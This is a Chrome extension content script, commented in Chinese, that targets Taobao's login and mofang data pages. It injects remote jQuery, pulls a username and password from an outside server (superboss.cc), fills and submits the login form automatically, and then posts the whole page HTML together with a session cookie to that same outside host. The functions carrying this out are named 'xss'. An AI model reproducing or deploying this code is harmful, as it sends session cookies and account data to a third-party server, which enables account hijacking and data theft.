/**
 * chrome插件支持全域名跨域所以在任何地方跨域调用都是没有问题的
 *
 */


console.log("================content.js invoked!=============");
try{

    /**
     * 把jquery注册到当前页面去
     * 由于login.taobao.com是https，因为安全问题所以这里JS也需要引用https的jquery
     * @type {HTMLElement}
     */
    script = document.createElement('script');
    script.src = "https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js";
    document.head.appendChild(script);

    /**
     * 登录前先强制退出一次
     */
    function ajax_login_out() {
        $.ajax({
            url: "http://mofang.taobao.com/s/logout",
            async: false,
            dataType: "text",
            success: function (data) {
                console.log(data);
                $.ajax({
                    url: "http://websocket.superboss.cc/getPassword.jsp",
                    cache:false,
                    async: false,
                    dataType: "json",
                    success: function (data) {
                        document.getElementById("J_Quick2Static").focus();
                        document.getElementById("J_Quick2Static").focus();
                        document.getElementById("J_Quick2Static").focus();
                        document.getElementById("J_Quick2Static").focus();
                        document.getElementById("J_Quick2Static").click();
                        document.getElementById("TPL_username_1").focus();
                        document.getElementById("TPL_username_1").click();
                        document.getElementById("TPL_username_1").click();
                        document.getElementById("TPL_username_1").click();
                        document.getElementById("TPL_username_1").value = data.nick;
                        document.getElementById("TPL_username_1").focus();
                        document.getElementById("TPL_username_1").click();
                        document.getElementById("TPL_username_1").click();
                        document.getElementById("TPL_username_1").click();
                        document.getElementById("TPL_username_1").click();
                        document.getElementById("TPL_password_1").value = data.password;
                        document.getElementById("TPL_password_1").focus();
                        document.getElementById("TPL_password_1").focus();
                        document.getElementById("TPL_password_1").focus();
                        document.getElementById("TPL_password_1").focus();
                        document.getElementById("J_SubmitStatic").focus();
                        document.getElementById("J_SubmitStatic").focus();
                        document.getElementById("J_SubmitStatic").focus();
                        document.getElementById("J_SubmitStatic").click();
                    }
                });
            }
        });
    }
}catch (e){
    console.log(e);
}


//判断登录域名
if (document.location.href.indexOf("https://login.taobao.com/member/login.jhtml?from=datacube&style=minisimple&minititle=&minipara=0,0,0&sub=true&redirect_url=http%3A%2F%2Fmofang.taobao.com%2Fs%2Flogin") == 0) {
    /**注入jquery**/
    window.onload = xss();
}


/**
 * 判断当前的URL是否是已经登录成功的URL，
 * 这里没有校验内容
 */
if (document.domain == 'mofang.taobao.com') {
    if (!document.location.href.indexOf("http://mofang.taobao.com/s/logout") == 0) {
        chrome.extension.sendMessage({}, function(response) {
            console.log(new Date());
            console.log(response);
            ajax_send_data($("html").html(),response.result);
        });
    }
}
/**
 * 获取数据之后推送给接收端
 * @param html
 * @param cookie
 */
function ajax_send_data(html, cookie) {
    $.ajax({
        url: "http://websocket.superboss.cc/setData.jsp",
        type: "post",
        data: { html: html,
            cookie: cookie
        },
        async: false,
        dataType: "json",
        success: function (data) {
            return true;
        }
    });
}

function xss() {
    console.log("xss...");
   setTimeout("xss_login()", 3000);
}

function xss_login() {
    console.log("xss_login...");
    /**登录前强制退出一次,防止退出**/
    if(ajax_login_out()){
    }
}
